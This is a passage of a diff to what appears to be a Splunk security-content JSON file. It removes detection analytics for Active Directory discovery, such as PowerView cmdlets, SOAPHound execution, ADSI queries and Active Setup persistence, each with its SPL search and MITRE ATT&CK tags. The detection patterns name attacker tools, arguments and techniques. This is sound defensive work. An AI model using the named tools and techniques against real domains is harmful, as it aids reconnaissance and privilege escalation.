`security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `schcache_change_by_app_connect_and_create_adsi_object_filter`", - "tags": { - "analytic_story": [ - "BlackMatter Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "process $Image$ create a file $TargetFilename$ in host $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Windows AD Abnormal Object Access Activity", - "description": "The following analytic identifies a statistically significant increase in access to Active Directory objects, which may indicate attacker enumeration. It leverages Windows Security Event Code 4662 to monitor and analyze access patterns, comparing them against historical averages to detect anomalies. This activity is significant for a SOC because abnormal access to AD objects can be an early indicator of reconnaissance efforts by an attacker. If confirmed malicious, this behavior could lead to unauthorized access, privilege escalation, or further compromise of the Active Directory environment.", - "search": "`wineventlog_security` EventCode=4662 | stats min(_time) AS firstTime, max(_time) AS lastTime, dc(ObjectName) AS ObjectName_count, values(ObjectType) AS ObjectType, latest(Computer) AS dest count BY SubjectUserName | eventstats avg(ObjectName_count) AS average stdev(ObjectName_count) AS standarddev | eval limit = round((average+(standarddev*3)),0), user = SubjectUserName | where ObjectName_count > limit | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_ad_abnormal_object_access_activity_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "The account $user$ accessed an abnormal amount ($ObjectName_count$) of [$ObjectType$] AD object(s) between $firstTime$ and $lastTime$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows AD Privileged Object Access Activity", - "description": "The following analytic detects access attempts to privileged Active Directory objects, such as Domain Admins or Enterprise Admins. It leverages Windows Security Event Code 4662 to identify when these sensitive objects are accessed. This activity is significant because such objects should rarely be accessed by normal users or processes, and unauthorized access attempts may indicate attacker enumeration or lateral movement within the domain. If confirmed malicious, this activity could allow attackers to escalate privileges, persist in the environment, or gain control over critical domain resources.", - "search": "`wineventlog_security` EventCode=4662 ObjectName IN ( \"CN=Account Operators,*\", \"CN=Administrators,*\", \"CN=Backup Operators,*\", \"CN=Cert Publishers,*\", \"CN=Certificate Service DCOM Access,*\", \"CN=Domain Admins,*\", \"CN=Domain Controllers,*\", \"CN=Enterprise Admins,*\", \"CN=Enterprise Read-only Domain Controllers,*\", \"CN=Group Policy Creator Owners,*\", \"CN=Incoming Forest Trust Builders,*\", \"CN=Microsoft Exchange Servers,*\", \"CN=Network Configuration Operators,*\", \"CN=Power Users,*\", \"CN=Print Operators,*\", \"CN=Read-only Domain Controllers,*\", \"CN=Replicators,*\", \"CN=Schema Admins,*\", \"CN=Server Operators,*\", \"CN=Exchange Trusted Subsystem,*\", \"CN=Exchange Windows Permission,*\", \"CN=Organization Management,*\") | rex field=ObjectName \"CN\\=(?[^,]+)\" | stats values(Computer) as dest, values(object_name) as object_name, dc(ObjectName) as object_count, min(_time) as firstTime, max(_time) as lastTime, count by SubjectUserName | rename SubjectUserName as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_ad_privileged_object_access_activity_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "object_name", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "The account $user$ accessed $object_count$ privileged AD object(s).", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Domain Account Discovery Via Get-NetComputer", - "description": "The following analytic detects the execution of the PowerView PowerShell cmdlet Get-NetComputer, which is used to query Active Directory for user account details such as \"samaccountname,\" \"accountexpires,\" \"lastlogon,\" and more. It leverages Event ID 4104 from PowerShell Script Block Logging to identify this activity. This behavior is significant as it may indicate an attempt to gather user account information, which is often a precursor to further malicious actions. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, or lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-NetComputer*\" ScriptBlockText IN (\"*samaccountname*\", \"*accountexpires*\", \"*lastlogon*\", \"*lastlogoff*\", \"*pwdlastset*\", \"*logoncount*\") | rename Computer as dest, UserID as user | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText dest user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_domain_account_discovery_via_get_netcomputer_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Domain Account Discovery Via Get-NetComputer in $dest$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Find Domain Organizational Units with GetDomainOU", - "description": "The following analytic detects the execution of the `Get-DomainOU` cmdlet, a part of the PowerView toolkit used for Windows domain enumeration. It leverages PowerShell Script Block Logging (EventCode=4104) to identify this activity. Detecting `Get-DomainOU` usage is significant as adversaries may use it to gather information about organizational units within Active Directory, which can facilitate lateral movement or privilege escalation. If confirmed malicious, this activity could allow attackers to map the domain structure, aiding in further exploitation and persistence within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-DomainOU*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_find_domain_organizational_units_with_getdomainou_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Get-DomainOU was identified on endpoint $dest$ by user $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Find Interesting ACL with FindInterestingDomainAcl", - "description": "The following analytic detects the execution of the `Find-InterestingDomainAcl` cmdlet, part of the PowerView toolkit, using PowerShell Script Block Logging (EventCode=4104). This detection leverages logs to identify when this command is run, which is significant as adversaries may use it to find misconfigured or unusual Access Control Lists (ACLs) within a domain. If confirmed malicious, this activity could allow attackers to identify privilege escalation opportunities or weak security configurations in Active Directory, potentially leading to unauthorized access or further exploitation.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Find-InterestingDomainAcl*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_find_interesting_acl_with_findinterestingdomainacl_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Find-InterestingDomainAcl was identified on endpoint $dest$ by user $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Forest Discovery with GetForestDomain", - "description": "The following analytic detects the execution of the `Get-ForestDomain` cmdlet, a component of the PowerView toolkit used for Windows domain enumeration. It leverages PowerShell Script Block Logging (EventCode=4104) to identify this activity. Detecting `Get-ForestDomain` is significant because adversaries and Red Teams use it to gather detailed information about Active Directory forest and domain configurations. If confirmed malicious, this activity could enable attackers to understand the domain structure, facilitating lateral movement or privilege escalation within the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-ForestDomain*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_forest_discovery_with_getforestdomain_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Get-ForestDomain was identified on endpoint $dest$ by user $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Get Local Admin with FindLocalAdminAccess", - "description": "The following analytic detects the execution of the `Find-LocalAdminAccess` cmdlet using PowerShell Script Block Logging (EventCode=4104). This cmdlet is part of PowerView, a toolkit for Windows domain enumeration. Identifying the use of `Find-LocalAdminAccess` is crucial as adversaries may use it to find machines where the current user has local administrator access, facilitating lateral movement or privilege escalation. If confirmed malicious, this activity could allow attackers to target and compromise additional systems within the network, significantly increasing their control and access to sensitive information.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Find-LocalAdminAccess*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_get_local_admin_with_findlocaladminaccess_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Find-LocalAdminAccess was identified on endpoint $dest$ by user $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Linked Policies In ADSI Discovery", - "description": "The following analytic detects the use of the `[Adsisearcher]` type accelerator in PowerShell Script Block Logging (EventCode=4104) to query Active Directory for domain organizational units. This detection leverages PowerShell operational logs to identify script blocks containing `[adsisearcher]`, `objectcategory=organizationalunit`, and `findAll()`. This activity is significant as it indicates potential reconnaissance efforts by adversaries to gain situational awareness of the domain structure. If confirmed malicious, this could lead to further exploitation, such as privilege escalation or lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*[adsisearcher]*\" ScriptBlockText = \"*objectcategory=organizationalunit*\" ScriptBlockText = \"*findAll()*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | rename Computer as dest, user_id as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_linked_policies_in_adsi_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows PowerShell [Adsisearcher] was used user enumeration on $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Windows Root Domain linked policies Discovery", - "description": "The following analytic detects the use of the `[Adsisearcher]` type accelerator in PowerShell to query Active Directory for root domain linked policies. It leverages PowerShell Script Block Logging (EventCode=4104) to identify this activity. This behavior is significant as it may indicate an attempt by adversaries or Red Teams to gain situational awareness and perform Active Directory Discovery. If confirmed malicious, this activity could allow attackers to map out domain policies, potentially aiding in further exploitation or lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*[adsisearcher]*\" ScriptBlockText = \"*.SearchRooT*\" ScriptBlockText = \"*.gplink*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | rename Computer as dest, user_id as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_root_domain_linked_policies_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows PowerShell [Adsisearcher] was used user enumeration on endpoint $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Windows SOAPHound Binary Execution", - "description": "The following analytic detects the execution of the SOAPHound binary (`soaphound.exe`) with specific command-line arguments. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line arguments, and other process-related metadata. This activity is significant because SOAPHound is a known tool used for credential dumping and other malicious activities. If confirmed malicious, this behavior could allow an attacker to extract sensitive information, escalate privileges, or persist within the environment, posing a severe threat to organizational security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"soaphound.exe\" OR Processes.original_file_name=\"soaphound.exe\" AND Processes.process IN (\"*--buildcache *\", \"*--bhdump *\", \"*--certdump *\", \"*--dnsdump *\", \"*-c *\", \"*--cachefilename *\", \"*-o *\", \"*--outputdirectory *\") by Processes.process Processes.dest Processes.process_current_directory Processes.process_name Processes.process_path Processes.process_integrity_level Processes.parent_process Processes.parent_process_path Processes.parent_process_guid Processes.parent_process_id Processes.process_guid Processes.process_id Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_soaphound_binary_execution_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "process_name", - "type": "Process", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The process $process_name$ was executed on $dest$ related to SOAPHound.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Windows Suspect Process With Authentication Traffic", - "description": "The following analytic detects executables running from public or temporary locations that are communicating over Windows domain authentication ports/protocols such as LDAP (389), LDAPS (636), and Kerberos (88). It leverages network traffic data to identify processes originating from user-controlled directories. This activity is significant because legitimate applications rarely run from these locations and attempt domain authentication, making it a potential indicator of compromise. If confirmed malicious, attackers could leverage this to access domain resources, potentially leading to further exploitation and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.process_id) as process_id from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port IN (\"88\",\"389\",\"636\") AND All_Traffic.app IN (\"*\\\\users\\\\*\", \"*\\\\programdata\\\\*\", \"*\\\\temp\\\\*\", \"*\\\\Windows\\\\Tasks\\\\*\", \"*\\\\appdata\\\\*\", \"*\\\\perflogs\\\\*\") by All_Traffic.app,All_Traffic.src,All_Traffic.src_ip,All_Traffic.user,All_Traffic.dest,All_Traffic.dest_ip,All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | rex field=app \".*\\\\\\(?.*)$\" | rename app as process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_suspect_process_with_authentication_traffic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "The process $process_name$ on $src$ has been communicating with $dest$ on $dest_port$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1204.002", - "mitre_attack_technique": "Malicious File", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "Ajax Security Team", - "Andariel", - "Aoqin Dragon", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "CURIUM", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "IndigoZebra", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Whitefly", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } } ], "external_reference": [ @@ -177768,70 +143279,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Active Setup Registry Autostart", - "description": "The following analytic detects suspicious modifications to the Active Setup registry for persistence and privilege escalation. It leverages data from the Endpoint.Registry data model, focusing on changes to the \"StubPath\" value within the \"SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\" path. This activity is significant as it is commonly used by malware, adware, and APTs to maintain persistence on compromised machines. If confirmed malicious, this could allow attackers to execute code upon system startup, potentially leading to further system compromise and unauthorized access.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_value_name= \"StubPath\" Registry.registry_path = \"*\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components*\") BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.dest Registry.user | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `active_setup_registry_autostart_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Persistence Techniques", - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - 